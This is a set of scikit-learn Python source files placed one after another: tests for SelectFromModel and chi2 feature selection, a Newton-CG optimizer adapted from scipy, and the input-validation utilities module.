    assert_false(np.allclose(mi_1, mi_3))


if __name__ == '__main__':
    run_module_suite()






import numpy as np
import scipy.sparse as sp

from nose.tools import assert_raises, assert_true

from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import skip_if_32bit

from sklearn import datasets
from sklearn.linear_model import LogisticRegression, SGDClassifier, Lasso
from sklearn.svm import LinearSVC
from sklearn.feature_selection import SelectFromModel
from sklearn.ensemble import RandomForestClassifier
from sklearn.linear_model import PassiveAggressiveClassifier

iris = datasets.load_iris()
data, y = iris.data, iris.target
rng = np.random.RandomState(0)


def test_transform_linear_model():
    for clf in (LogisticRegression(C=0.1),
                LinearSVC(C=0.01, dual=False),
                SGDClassifier(alpha=0.001, n_iter=50, shuffle=True,
                              random_state=0)):
        for thresh in (None, ".09*mean", "1e-5 * median"):
            for func in (np.array, sp.csr_matrix):
                X = func(data)
                clf.set_params(penalty="l1")
                clf.fit(X, y)
                X_new = assert_warns(
                    DeprecationWarning, clf.transform, X, thresh)
                if isinstance(clf, SGDClassifier):
                    assert_true(X_new.shape[1] <= X.shape[1])
                else:
                    assert_less(X_new.shape[1], X.shape[1])
                clf.set_params(penalty="l2")
                clf.fit(X_new, y)
                pred = clf.predict(X_new)
                assert_greater(np.mean(pred == y), 0.7)


def test_invalid_input():
    clf = SGDClassifier(alpha=0.1, n_iter=10, shuffle=True, random_state=None)
    for threshold in ["gobbledigook", ".5 * gobbledigook"]:
        model = SelectFromModel(clf, threshold=threshold)
        model.fit(data, y)
        assert_raises(ValueError, model.transform, data)


def test_input_estimator_unchanged():
    """
    Test that SelectFromModel fits on a clone of the estimator.
    """
    est = RandomForestClassifier()
    transformer = SelectFromModel(estimator=est)
    transformer.fit(data, y)
    assert_true(transformer.estimator is est)


@skip_if_32bit
def test_feature_importances():
    X, y = datasets.make_classification(
        n_samples=1000, n_features=10, n_informative=3, n_redundant=0,
        n_repeated=0, shuffle=False, random_state=0)

    est = RandomForestClassifier(n_estimators=50, random_state=0)
    for threshold, func in zip(["mean", "median"], [np.mean, np.median]):
        transformer = SelectFromModel(estimator=est, threshold=threshold)
        transformer.fit(X, y)
        assert_true(hasattr(transformer.estimator_, 'feature_importances_'))

        X_new = transformer.transform(X)
        assert_less(X_new.shape[1], X.shape[1])
        importances = transformer.estimator_.feature_importances_

        feature_mask = np.abs(importances) > func(importances)
        assert_array_almost_equal(X_new, X[:, feature_mask])

    # Check with sample weights
    sample_weight = np.ones(y.shape)
    sample_weight[y == 1] *= 100

    est = RandomForestClassifier(n_estimators=50, random_state=0)
    transformer = SelectFromModel(estimator=est)
    transformer.fit(X, y, sample_weight=sample_weight)
    importances = transformer.estimator_.feature_importances_
    transformer.fit(X, y, sample_weight=3 * sample_weight)
    importances_bis = transformer.estimator_.feature_importances_
    assert_almost_equal(importances, importances_bis)

    # For the Lasso and related models, the threshold defaults to 1e-5
    transformer = SelectFromModel(estimator=Lasso(alpha=0.1))
    transformer.fit(X, y)
    X_new = transformer.transform(X)
    mask = np.abs(transformer.estimator_.coef_) > 1e-5
    assert_array_equal(X_new, X[:, mask])


def test_partial_fit():
    est = PassiveAggressiveClassifier(random_state=0, shuffle=False)
    transformer = SelectFromModel(estimator=est)
    transformer.partial_fit(data, y,
                            classes=np.unique(y))
    old_model = transformer.estimator_
    transformer.partial_fit(data, y,
                            classes=np.unique(y))
    new_model = transformer.estimator_
    assert_true(old_model is new_model)

    X_transform = transformer.transform(data)
    transformer.fit(np.vstack((data, data)), np.concatenate((y, y)))
    assert_array_equal(X_transform, transformer.transform(data))


def test_warm_start():
    est = PassiveAggressiveClassifier(warm_start=True, random_state=0)
    transformer = SelectFromModel(estimator=est)
    transformer.fit(data, y)
    old_model = transformer.estimator_
    transformer.fit(data, y)
    new_model = transformer.estimator_
    assert_true(old_model is new_model)


def test_prefit():
    """
    Test all possible combinations of the prefit parameter.
    """
    # Passing a prefit parameter with the selected model
    # and fitting a unfit model with prefit=False should give same results.
    clf = SGDClassifier(alpha=0.1, n_iter=10, shuffle=True, random_state=0)
    model = SelectFromModel(clf)
    model.fit(data, y)
    X_transform = model.transform(data)
    clf.fit(data, y)
    model = SelectFromModel(clf, prefit=True)
    assert_array_equal(model.transform(data), X_transform)

    # Check that the model is rewritten if prefit=False and a fitted model is
    # passed
    model = SelectFromModel(clf, prefit=False)
    model.fit(data, y)
    assert_array_equal(model.transform(data), X_transform)

    # Check that prefit=True and calling fit raises a ValueError
    model = SelectFromModel(clf, prefit=True)
    assert_raises(ValueError, model.fit, data, y)


def test_threshold_string():
    est = RandomForestClassifier(n_estimators=50, random_state=0)
    model = SelectFromModel(est, threshold="0.5*mean")
    model.fit(data, y)
    X_transform = model.transform(data)

    # Calculate the threshold from the estimator directly.
    est.fit(data, y)
    threshold = 0.5 * np.mean(est.feature_importances_)
    mask = est.feature_importances_ > threshold
    assert_array_equal(X_transform, data[:, mask])


def test_threshold_without_refitting():
    """Test that the threshold can be set without refitting the model."""
    clf = SGDClassifier(alpha=0.1, n_iter=10, shuffle=True, random_state=0)
    model = SelectFromModel(clf, threshold=0.1)
    model.fit(data, y)
    X_transform = model.transform(data)

    # Set a higher threshold to filter out more features.
    model.threshold = 1.0
    assert_greater(X_transform.shape[1], model.transform(data).shape[1])












"""
Tests for chi2, currently the only feature selection function designed
specifically to work with sparse matrices.
"""

import warnings

import numpy as np
from scipy.sparse import coo_matrix, csr_matrix
import scipy.stats

from sklearn.feature_selection import SelectKBest, chi2
from sklearn.feature_selection.univariate_selection import _chisquare
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import clean_warning_registry

# Feature 0 is highly informative for class 1;
# feature 1 is the same everywhere;
# feature 2 is a bit informative for class 2.
X = [[2, 1, 2],
     [9, 1, 1],
     [6, 1, 2],
     [0, 1, 2]]
y = [0, 1, 2, 2]


def mkchi2(k):
    """Make k-best chi2 selector"""
    return SelectKBest(chi2, k=k)


def test_chi2():
    # Test Chi2 feature extraction

    chi2 = mkchi2(k=1).fit(X, y)
    chi2 = mkchi2(k=1).fit(X, y)
    assert_array_equal(chi2.get_support(indices=True), [0])
    assert_array_equal(chi2.transform(X), np.array(X)[:, [0]])

    chi2 = mkchi2(k=2).fit(X, y)
    assert_array_equal(sorted(chi2.get_support(indices=True)), [0, 2])

    Xsp = csr_matrix(X, dtype=np.float64)
    chi2 = mkchi2(k=2).fit(Xsp, y)
    assert_array_equal(sorted(chi2.get_support(indices=True)), [0, 2])
    Xtrans = chi2.transform(Xsp)
    assert_array_equal(Xtrans.shape, [Xsp.shape[0], 2])

    # == doesn't work on scipy.sparse matrices
    Xtrans = Xtrans.toarray()
    Xtrans2 = mkchi2(k=2).fit_transform(Xsp, y).toarray()
    assert_array_equal(Xtrans, Xtrans2)


def test_chi2_coo():
    # Check that chi2 works with a COO matrix
    # (as returned by CountVectorizer, DictVectorizer)
    Xcoo = coo_matrix(X)
    mkchi2(k=2).fit_transform(Xcoo, y)
    # if we got here without an exception, we're safe


def test_chi2_negative():
    # Check for proper error on negative numbers in the input X.
    X, y = [[0, 1], [-1e-20, 1]], [0, 1]
    for X in (X, np.array(X), csr_matrix(X)):
        assert_raises(ValueError, chi2, X, y)


def test_chi2_unused_feature():
    # Unused feature should evaluate to NaN
    # and should issue no runtime warning
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as warned:
        warnings.simplefilter('always')
        chi, p = chi2([[1, 0], [0, 0]], [1, 0])
        for w in warned:
            if 'divide by zero' in w.message:
                raise AssertionError('Found unexpected warning %s' % w)
    assert_array_equal(chi, [1, np.nan])
    assert_array_equal(p[1], np.nan)


def test_chisquare():
    # Test replacement for scipy.stats.chisquare against the original.
    obs = np.array([[2., 2.],
                    [1., 1.]])
    exp = np.array([[1.5, 1.5],
                    [1.5, 1.5]])
    # call SciPy first because our version overwrites obs
    chi_scp, p_scp = scipy.stats.chisquare(obs, exp)
    chi_our, p_our = _chisquare(obs, exp)

    assert_array_almost_equal(chi_scp, chi_our)
    assert_array_almost_equal(p_scp, p_our)






"""
Our own implementation of the Newton algorithm

Unlike the scipy.optimize version, this version of the Newton conjugate
gradient solver uses only one function call to retrieve the
func value, the gradient value and a callable for the Hessian matvec
product. If the function call is very expensive (e.g. for logistic
regression with large design matrix), this approach gives very
significant speedups.
"""
# This is a modified file from scipy.optimize
# Original authors: Travis Oliphant, Eric Jones
# Modifications by Gael Varoquaux, Mathieu Blondel and Tom Dupre la Tour
# License: BSD

import numpy as np
import warnings
from scipy.optimize.linesearch import line_search_wolfe2, line_search_wolfe1

from ..exceptions import ConvergenceWarning


class _LineSearchError(RuntimeError):
    pass


def _line_search_wolfe12(f, fprime, xk, pk, gfk, old_fval, old_old_fval,
                         **kwargs):
    """
    Same as line_search_wolfe1, but fall back to line_search_wolfe2 if
    suitable step length is not found, and raise an exception if a
    suitable step length is not found.

    Raises
    ------
    _LineSearchError
        If no suitable step size is found

    """
    ret = line_search_wolfe1(f, fprime, xk, pk, gfk,
                             old_fval, old_old_fval,
                             **kwargs)

    if ret[0] is None:
        # line search failed: try different one.
        ret = line_search_wolfe2(f, fprime, xk, pk, gfk,
                                 old_fval, old_old_fval, **kwargs)

    if ret[0] is None:
        raise _LineSearchError()

    return ret


def _cg(fhess_p, fgrad, maxiter, tol):
    """
    Solve iteratively the linear system 'fhess_p . xsupi = fgrad'
    with a conjugate gradient descent.

    Parameters
    ----------
    fhess_p : callable
        Function that takes the gradient as a parameter and returns the
        matrix product of the Hessian and gradient

    fgrad : ndarray, shape (n_features,) or (n_features + 1,)
        Gradient vector

    maxiter : int
        Number of CG iterations.

    tol : float
        Stopping criterion.

    Returns
    -------
    xsupi : ndarray, shape (n_features,) or (n_features + 1,)
        Estimated solution
    """
    xsupi = np.zeros(len(fgrad), dtype=fgrad.dtype)
    ri = fgrad
    psupi = -ri
    i = 0
    dri0 = np.dot(ri, ri)

    while i <= maxiter:
        if np.sum(np.abs(ri)) <= tol:
            break

        Ap = fhess_p(psupi)
        # check curvature
        curv = np.dot(psupi, Ap)
        if 0 <= curv <= 3 * np.finfo(np.float64).eps:
            break
        elif curv < 0:
            if i > 0:
                break
            else:
                # fall back to steepest descent direction
                xsupi += dri0 / curv * psupi
                break
        alphai = dri0 / curv
        xsupi += alphai * psupi
        ri = ri + alphai * Ap
        dri1 = np.dot(ri, ri)
        betai = dri1 / dri0
        psupi = -ri + betai * psupi
        i = i + 1
        dri0 = dri1          # update np.dot(ri,ri) for next time.

    return xsupi


def newton_cg(grad_hess, func, grad, x0, args=(), tol=1e-4,
              maxiter=100, maxinner=200, line_search=True, warn=True):
    """
    Minimization of scalar function of one or more variables using the
    Newton-CG algorithm.

    Parameters
    ----------
    grad_hess : callable
        Should return the gradient and a callable returning the matvec product
        of the Hessian.

    func : callable
        Should return the value of the function.

    grad : callable
        Should return the function value and the gradient. This is used
        by the linesearch functions.

    x0 : array of float
        Initial guess.

    args: tuple, optional
        Arguments passed to func_grad_hess, func and grad.

    tol : float
        Stopping criterion. The iteration will stop when
        ``max{|g_i | i = 1, ..., n} <= tol``
        where ``g_i`` is the i-th component of the gradient.

    maxiter : int
        Number of Newton iterations.

    maxinner : int
        Number of CG iterations.

    line_search: boolean
        Whether to use a line search or not.

    warn: boolean
        Whether to warn when didn't converge.

    Returns
    -------
    xk : ndarray of float
        Estimated minimum.
    """
    x0 = np.asarray(x0).flatten()
    xk = x0
    k = 0

    if line_search:
        old_fval = func(x0, *args)
        old_old_fval = None

    # Outer loop: our Newton iteration
    while k < maxiter:
        # Compute a search direction pk by applying the CG method to
        #  del2 f(xk) p = - fgrad f(xk) starting from 0.
        fgrad, fhess_p = grad_hess(xk, *args)

        absgrad = np.abs(fgrad)
        if np.max(absgrad) < tol:
            break

        maggrad = np.sum(absgrad)
        eta = min([0.5, np.sqrt(maggrad)])
        termcond = eta * maggrad

        # Inner loop: solve the Newton update by conjugate gradient, to
        # avoid inverting the Hessian
        xsupi = _cg(fhess_p, fgrad, maxiter=maxinner, tol=termcond)

        alphak = 1.0

        if line_search:
            try:
                alphak, fc, gc, old_fval, old_old_fval, gfkp1 = \
                    _line_search_wolfe12(func, grad, xk, xsupi, fgrad,
                                         old_fval, old_old_fval, args=args)
            except _LineSearchError:
                warnings.warn('Line Search failed')
                break

        xk = xk + alphak * xsupi        # upcast if necessary
        k += 1

    if warn and k >= maxiter:
        warnings.warn("newton-cg failed to converge. Increase the "
                      "number of iterations.", ConvergenceWarning)
    return xk, k






"""Utilities for input validation"""

# Authors: Olivier Grisel
#          Gael Varoquaux
#          Andreas Mueller
#          Lars Buitinck
#          Alexandre Gramfort
#          Nicolas Tresegnie
# License: BSD 3 clause

import warnings
import numbers

import numpy as np
import scipy.sparse as sp

from ..externals import six
from ..utils.fixes import signature
from .deprecation import deprecated
from ..exceptions import DataConversionWarning as _DataConversionWarning
from ..exceptions import NonBLASDotWarning as _NonBLASDotWarning
from ..exceptions import NotFittedError as _NotFittedError


@deprecated("DataConversionWarning has been moved into the sklearn.exceptions"
            " module. It will not be available here from version 0.19")
class DataConversionWarning(_DataConversionWarning):
    pass


@deprecated("NonBLASDotWarning has been moved into the sklearn.exceptions"
            " module. It will not be available here from version 0.19")
class NonBLASDotWarning(_NonBLASDotWarning):
    pass


@deprecated("NotFittedError has been moved into the sklearn.exceptions module."
            " It will not be available here from version 0.19")
class NotFittedError(_NotFittedError):
    pass

FLOAT_DTYPES = (np.float64, np.float32, np.float16)

# Silenced by default to reduce verbosity. Turn on at runtime for
# performance profiling.
warnings.simplefilter('ignore', _NonBLASDotWarning)


def _assert_all_finite(X):
    """Like assert_all_finite, but only for ndarray."""
    X = np.asanyarray(X)
    # First try an O(n) time, O(1) space solution for the common case that
    # everything is finite; fall back to O(n) space np.isfinite to prevent
    # false positives from overflow in sum method.
    if (X.dtype.char in np.typecodes['AllFloat'] and not np.isfinite(X.sum())
            and not np.isfinite(X).all()):
        raise ValueError("Input contains NaN, infinity"
                         " or a value too large for %r." % X.dtype)


def assert_all_finite(X):
    """Throw a ValueError if X contains NaN or infinity.

    Input MUST be an np.ndarray instance or a scipy.sparse matrix."""
    _assert_all_finite(X.data if sp.issparse(X) else X)


def as_float_array(X, copy=True, force_all_finite=True):
    """Converts an array-like to an array of floats

    The new dtype will be np.float32 or np.float64, depending on the original
    type. The function can create a copy or modify the argument depending
    on the argument copy.

    Parameters
    ----------
    X : {array-like, sparse matrix}

    copy : bool, optional
        If True, a copy of X will be created. If False, a copy may still be
        returned if X's dtype is not a floating point type.

    force_all_finite : boolean (default=True)
        Whether to raise an error on np.inf and np.nan in X.

    Returns
    -------
    XT : {array, sparse matrix}
        An array of type np.float
    """
    if isinstance(X, np.matrix) or (not isinstance(X, np.ndarray)
                                    and not sp.issparse(X)):
        return check_array(X, ['csr', 'csc', 'coo'], dtype=np.float64,
                           copy=copy, force_all_finite=force_all_finite,
                           ensure_2d=False)
    elif sp.issparse(X) and X.dtype in [np.float32, np.float64]:
        return X.copy() if copy else X
    elif X.dtype in [np.float32, np.float64]:  # is numpy array
        return X.copy('F' if X.flags['F_CONTIGUOUS'] else 'C') if copy else X
    else:
        return X.astype(np.float32 if X.dtype == np.int32 else np.float64)


def _is_arraylike(x):
    """Returns whether the input is array-like"""
    return (hasattr(x, '__len__') or
            hasattr(x, 'shape') or
            hasattr(x, '__array__'))


def _num_samples(x):
    """Return number of samples in array-like x."""
    if hasattr(x, 'fit'):
        # Don't get num_samples from an ensembles length!
        raise TypeError('Expected sequence or array-like, got '
                        'estimator %s' % x)
    if not hasattr(x, '__len__') and not hasattr(x, 'shape'):
        if hasattr(x, '__array__'):
            x = np.asarray(x)
        else:
            raise TypeError("Expected sequence or array-like, got %s" %
                            type(x))
    if hasattr(x, 'shape'):
        if len(x.shape) == 0:
            raise TypeError("Singleton array %r cannot be considered"
                            " a valid collection." % x)
        return x.shape[0]
    else:
        return len(x)


def _shape_repr(shape):
    """Return a platform independent representation of an array shape

    Under Python 2, the `long` type introduces an 'L' suffix when using the
    default %r format for tuples of integers (typically used to store the shape
    of an array).

    Under Windows 64 bit (and Python 2), the `long` type is used by default
    in numpy shapes even when the integer dimensions are well below 32 bit.
    The platform specific type causes string messages or doctests to change
    from one platform to another which is not desirable.

    Under Python 3, there is no more `long` type so the `L` suffix is never
    introduced in string representation.

    >>> _shape_repr((1, 2))
    '(1, 2)'
    >>> one = 2 ** 64 / 2 ** 64  # force an upcast to `long` under Python 2
    >>> _shape_repr((one, 2 * one))
    '(1, 2)'
    >>> _shape_repr((1,))
    '(1,)'
    >>> _shape_repr(())
    '()'
    """
    if len(shape) == 0:
        return "()"
    joined = ", ".join("%d" % e for e in shape)
    if len(shape) == 1:
        # special notation for singleton tuples
        joined += ','
    return "(%s)" % joined


def check_consistent_length(*arrays):
    """Check that all arrays have consistent first dimensions.

    Checks whether all objects in arrays have the same shape or length.

    Parameters
    ----------
    *arrays : list or tuple of input objects.
        Objects that will be checked for consistent length.
    """

    uniques = np.unique([_num_samples(X) for X in arrays if X is not None])
    if len(uniques) > 1:
        raise ValueError("Found arrays with inconsistent numbers of samples: "
                         "%s" % str(uniques))


def indexable(*iterables):
    """Make arrays indexable for cross-validation.

    Checks consistent length, passes through None, and ensures that everything
    can be indexed by converting sparse matrices to csr and converting
    non-interable objects to arrays.

    Parameters
    ----------
    *iterables : lists, dataframes, arrays, sparse matrices
        List of objects to ensure sliceability.
    """
    result = []
    for X in iterables:
        if sp.issparse(X):
            result.append(X.tocsr())
        elif hasattr(X, "__getitem__") or hasattr(X, "iloc"):
            result.append(X)
        elif X is None:
            result.append(X)
        else:
            result.append(np.array(X))
    check_consistent_length(*result)
    return result


def _ensure_sparse_format(spmatrix, accept_sparse, dtype, copy,
                          force_all_finite):
    """Convert a sparse matrix to a given format.

    Checks the sparse format of spmatrix and converts if necessary.

    Parameters
    ----------
    spmatrix : scipy sparse matrix
        Input to validate and convert.

    accept_sparse : string, list of string or None (default=None)
        String[s] representing allowed sparse matrix formats ('csc',
        'csr', 'coo', 'dok', 'bsr', 'lil', 'dia'). None means that sparse
        matrix input will raise an error.  If the input is sparse but not in
        the allowed format, it will be converted to the first listed format.

    dtype : string, type or None (default=none)
        Data type of result. If None, the dtype of the input is preserved.

    copy : boolean (default=False)
        Whether a forced copy will be triggered. If copy=False, a copy might
        be triggered by a conversion.

    force_all_finite : boolean (default=True)
        Whether to raise an error on np.inf and np.nan in X.

    Returns
    -------
    spmatrix_converted : scipy sparse matrix.
        Matrix that is ensured to have an allowed type.
    """
    if accept_sparse in [None, False]:
        raise TypeError('A sparse matrix was passed, but dense '
                        'data is required. Use X.toarray() to '
                        'convert to a dense numpy array.')
    if dtype is None:
        dtype = spmatrix.dtype

    changed_format = False
    if (isinstance(accept_sparse, (list, tuple))
            and spmatrix.format not in accept_sparse):
        # create new with correct sparse
        spmatrix = spmatrix.asformat(accept_sparse[0])
        changed_format = True

    if dtype != spmatrix.dtype:
        # convert dtype
        spmatrix = spmatrix.astype(dtype)
    elif copy and not changed_format:
        # force copy
        spmatrix = spmatrix.copy()

    if force_all_finite:
        if not hasattr(spmatrix, "data"):
            warnings.warn("Can't check %s sparse matrix for nan or inf."
                          % spmatrix.format)
        else:
            _assert_all_finite(spmatrix.data)
    return spmatrix


def check_array(array, accept_sparse=None, dtype="numeric", order=None,
                copy=False, force_all_finite=True, ensure_2d=True,
                allow_nd=False, ensure_min_samples=1, ensure_min_features=1,
                warn_on_dtype=False, estimator=None):
    """Input validation on an array, list, sparse matrix or similar.

    By default, the input is converted to an at least 2D numpy array.
    If the dtype of the array is object, attempt converting to float,
    raising on failure.

    Parameters
    ----------
    array : object
        Input object to check / convert.

    accept_sparse : string, list of string or None (default=None)
        String[s] representing allowed sparse matrix formats, such as 'csc',
        'csr', etc.  None means that sparse matrix input will raise an error.
        If the input is sparse but not in the allowed format, it will be
        converted to the first listed format.

    dtype : string, type, list of types or None (default="numeric")
        Data type of result. If None, the dtype of the input is preserved.
        If "numeric", dtype is preserved unless array.dtype is object.
        If dtype is a list of types, conversion on the first type is only
        performed if the dtype of the input is not in the list.

    order : 'F', 'C' or None (default=None)
        Whether an array will be forced to be fortran or c-style.
        When order is None (default), then if copy=False, nothing is ensured
        about the memory layout of the output array; otherwise (copy=True)
        the memory layout of the returned array is kept as close as possible
        to the original array.

    copy : boolean (default=False)
        Whether a forced copy will be triggered. If copy=False, a copy might
        be triggered by a conversion.

    force_all_finite : boolean (default=True)
        Whether to raise an error on np.inf and np.nan in X.

    ensure_2d : boolean (default=True)
        Whether to make X at least 2d.

    allow_nd : boolean (default=False)
        Whether to allow X.ndim > 2.

    ensure_min_samples : int (default=1)
        Make sure that the array has a minimum number of samples in its first
        axis (rows for a 2D array). Setting to 0 disables this check.

    ensure_min_features : int (default=1)
        Make sure that the 2D array has some minimum number of features
        (columns). The default value of 1 rejects empty datasets.
        This check is only enforced when the input data has effectively 2
        dimensions or is originally 1D and ``ensure_2d`` is True. Setting to 0
        disables this check.

    warn_on_dtype : boolean (default=False)
        Raise DataConversionWarning if the dtype of the input data structure
        does not match the requested dtype, causing a memory copy.

    estimator : str or estimator instance (default=None)
        If passed, include the name of the estimator in warning messages.

    Returns
    -------
    X_converted : object
        The converted and validated X.
    """
    if isinstance(accept_sparse, str):
        accept_sparse = [accept_sparse]

    # store whether originally we wanted numeric dtype
    dtype_numeric = dtype == "numeric"

    dtype_orig = getattr(array, "dtype", None)
    if not hasattr(dtype_orig, 'kind'):
        # not a data type (e.g. a column named dtype in a pandas DataFrame)
        dtype_orig = None

    if dtype_numeric:
        if dtype_orig is not None and dtype_orig.kind == "O":
            # if input is object, convert to float.
            dtype = np.float64
        else:
            dtype = None

    if isinstance(dtype, (list, tuple)):
        if dtype_orig is not None and dtype_orig in dtype:
            # no dtype conversion required
            dtype = None
        else:
            # dtype conversion required. Let's select the first element of the
            # list of accepted types.
            dtype = dtype[0]

    if estimator is not None:
        if isinstance(estimator, six.string_types):
            estimator_name = estimator
        else:
            estimator_name = estimator.__class__.__name__
    else:
        estimator_name = "Estimator"
    context = " by %s" % estimator_name if estimator is not None else ""

    if sp.issparse(array):
        array = _ensure_sparse_format(array, accept_sparse, dtype, copy,
                                      force_all_finite)
    else:
        array = np.array(array, dtype=dtype, order=order, copy=copy)

        if ensure_2d:
            if array.ndim == 1:
                if ensure_min_samples >= 2:
                    raise ValueError("%s expects at least 2 samples provided "
                                     "in a 2 dimensional array-like input"
                                     % estimator_name)
                warnings.warn(
                    "Passing 1d arrays as data is deprecated in 0.17 and will "
                    "raise ValueError in 0.19. Reshape your data either using "
                    "X.reshape(-1, 1) if your data has a single feature or "
                    "X.reshape(1, -1) if it contains a single sample.",
                    DeprecationWarning)
            array = np.atleast_2d(array)
            # To ensure that array flags are maintained
            array = np.array(array, dtype=dtype, order=order, copy=copy)

        # make sure we actually converted to numeric:
        if dtype_numeric and array.dtype.kind == "O":
            array = array.astype(np.float64)
        if not allow_nd and array.ndim >= 3:
            raise ValueError("Found array with dim %d. %s expected <= 2."
                             % (array.ndim, estimator_name))
        if force_all_finite:
            _assert_all_finite(array)

    shape_repr = _shape_repr(array.shape)
    if ensure_min_samples > 0:
        n_samples = _num_samples(array)
        if n_samples < ensure_min_samples:
            raise ValueError("Found array with %d sample(s) (shape=%s) while a"
                             " minimum of %d is required%s."
                             % (n_samples, shape_repr, ensure_min_samples,
                                context))

    if ensure_min_features > 0 and array.ndim == 2:
        n_features = array.shape[1]
        if n_features < ensure_min_features:
            raise ValueError("Found array with %d feature(s) (shape=%s) while"
                             " a minimum of %d is required%s."
                             % (n_features, shape_repr, ensure_min_features,
                                context))

    if warn_on_dtype and dtype_orig is not None and array.dtype != dtype_orig:
        msg = ("Data with input dtype %s was converted to %s%s."
               % (dtype_orig, array.dtype, context))
        warnings.warn(msg, _DataConversionWarning)
    return array


def check_X_y(X, y, accept_sparse=None, dtype="numeric", order=None,
              copy=False, force_all_finite=True, ensure_2d=True,
              allow_nd=False, multi_output=False, ensure_min_samples=1,
              ensure_min_features=1, y_numeric=False,
              warn_on_dtype=False, estimator=None):
    """Input validation for standard estimators.

    Checks X and y for consistent length, enforces X 2d and y 1d.
    Standard input checks are only applied to y, such as checking that y
    does not have np.nan or np.inf targets. For multi-label y, set
    multi_output=True to allow 2d and sparse y.  If the dtype of X is
    object, attempt converting to float, raising on failure.

    Parameters
    ----------
    X : nd-array, list or sparse matrix
        Input data.

    y : nd-array, list or sparse matrix
        Labels.

    accept_sparse : string, list of string or None (default=None)
        String[s] representing allowed sparse matrix formats, such as 'csc',
        'csr', etc.  None means that sparse matrix input will raise an error.
        If the input is sparse but not in the allowed format, it will be
        converted to the first listed format.

    dtype : string, type, list of types or None (default="numeric")
        Data type of result. If None, the dtype of the input is preserved.
        If "numeric", dtype is preserved unless array.dtype is object.
        If dtype is a list of types, conversion on the first type is only
        performed if the dtype of the input is not in the list.

    order : 'F', 'C' or None (default=None)
        Whether an array will be forced to be fortran or c-style.

    copy : boolean (default=False)
        Whether a forced copy will be triggered. If copy=False, a copy might
        be triggered by a conversion.

    force_all_finite : boolean (default=True)
        Whether to raise an error on np.inf and np.nan in X. This parameter
        does not influence whether y can have np.inf or np.nan values.

    ensure_2d : boolean (default=True)
        Whether to make X at least 2d.

    allow_nd : boolean (default=False)
        Whether to allow X.ndim > 2.

    multi_output : boolean (default=False)
        Whether to allow 2-d y (array or sparse matrix). If false, y will be
        validated as a vector. y cannot have np.nan or np.inf values if
        multi_output=True.

    ensure_min_samples : int (default=1)
        Make sure that X has a minimum number of samples in its first
        axis (rows for a 2D array).

    ensure_min_features : int (default=1)
        Make sure that the 2D array has some minimum number of features
        (columns). The default value of 1 rejects empty datasets.
        This check is only enforced when X has effectively 2 dimensions or
        is originally 1D and ``ensure_2d`` is True. Setting to 0 disables
        this check.

    y_numeric : boolean (default=False)
        Whether to ensure that y has a numeric type. If dtype of y is object,
        it is converted to float64. Should only be used for regression
        algorithms.

    warn_on_dtype : boolean (default=False)
        Raise DataConversionWarning if the dtype of the input data structure
        does not match the requested dtype, causing a memory copy.

    estimator : str or estimator instance (default=None)
        If passed, include the name of the estimator in warning messages.

    Returns
    -------
    X_converted : object
        The converted and validated X.

    y_converted : object
        The converted and validated y.
    """
    X = check_array(X, accept_sparse, dtype, order, copy, force_all_finite,
                    ensure_2d, allow_nd, ensure_min_samples,
                    ensure_min_features, warn_on_dtype, estimator)
    if multi_output:
        y = check_array(y, 'csr', force_all_finite=True, ensure_2d=False,
                        dtype=None)
    else:
        y = column_or_1d(y, warn=True)
        _assert_all_finite(y)
    if y_numeric and y.dtype.kind == 'O':
        y = y.astype(np.float64)

    check_consistent_length(X, y)

    return X, y


def column_or_1d(y, warn=False):
    """ Ravel column or 1d numpy array, else raises an error

    Parameters
    ----------
    y : array-like

    warn : boolean, default False
       To control display of warnings.

    Returns
    -------
    y : array

    """
    shape = np.shape(y)
    if len(shape) == 1:
        return np.ravel(y)
    if len(shape) == 2 and shape[1] == 1:
        if warn:
            warnings.warn("A column-vector y was passed when a 1d array was"
                          " expected. Please change the shape of y to "
                          "(n_samples, ), for example using ravel().",
                          _DataConversionWarning, stacklevel=2)
        return np.ravel(y)

    raise ValueError("bad input shape {0}".format(shape))


def check_random_state(seed):
    """Turn seed into a np.random.RandomState instance

    If seed is None, return the RandomState singleton used by np.random.
    If seed is an int, return a new RandomState instance seeded with seed.
    If seed is already a RandomState instance, return it.
    Otherwise raise ValueError.
    """
    if seed is None or seed is np.random:
        return np.random.mtrand._rand
    if isinstance(seed, (numbers.Integral, np.integer)):
        return np.random.RandomState(seed)
    if isinstance(seed, np.random.RandomState):
        return seed
    raise ValueError('%r cannot be used to seed a numpy.random.RandomState'
                     ' instance' % seed)


def has_fit_parameter(estimator, parameter):
    """Checks whether the estimator's fit method supports the given parameter.

    Examples
    --------
    >>> from sklearn.svm import SVC
    >>> has_fit_parameter(SVC(), "sample_weight")
    True

    """
    return parameter in signature(estimator.fit).parameters


def check_symmetric(array, tol=1E-10, raise_warning=True,
                    raise_exception=False):
    """Make sure that array is 2D, square and symmetric.

    If the array is not symmetric, then a symmetrized version is returned.
    Optionally, a warning or exception is raised if the matrix is not
    symmetric.

    Parameters
    ----------
    array : nd-array or sparse matrix
        Input object to check / convert. Must be two-dimensional and square,
        otherwise a ValueError will be raised.
    tol : float
        Absolute tolerance for equivalence of arrays. Default = 1E-10.
    raise_warning : boolean (default=True)
        If True then raise a warning if conversion is required.
    raise_exception : boolean (default=False)
        If True then raise an exception if array is not symmetric.

    Returns
    -------
    array_sym : ndarray or sparse matrix
        Symmetrized version of the input array, i.e. the average of array
        and array.transpose(). If sparse, then duplicate entries are first
        summed and zeros are eliminated.
    """
    if (array.ndim != 2) or (array.shape[0] != array.shape[1]):
        raise ValueError("array must be 2-dimensional and square. "
                         "shape = {0}".format(array.shape))

    if sp.issparse(array):
        diff = array - array.T
        # only csr, csc, and coo have `data` attribute
        if diff.format not in ['csr', 'csc', 'coo']:
            diff = diff.tocsr()
        symmetric = np.all(abs(diff.data) < tol)
    else:
        symmetric = np.allclose(array, array.T, atol=tol)

    if not symmetric:
        if raise_exception:
            raise ValueError("Array must be symmetric")
        if raise_warning:
            warnings.warn("Array is not symmetric, and will be converted "
                          "to symmetric by average with its transpose.")
        if sp.issparse(array):
            conversion = 'to' + array.format
            array = getattr(0.5 * (array + array.T), conversion)()
        else:
            array = 0.5 * (array + array.T)

    return array


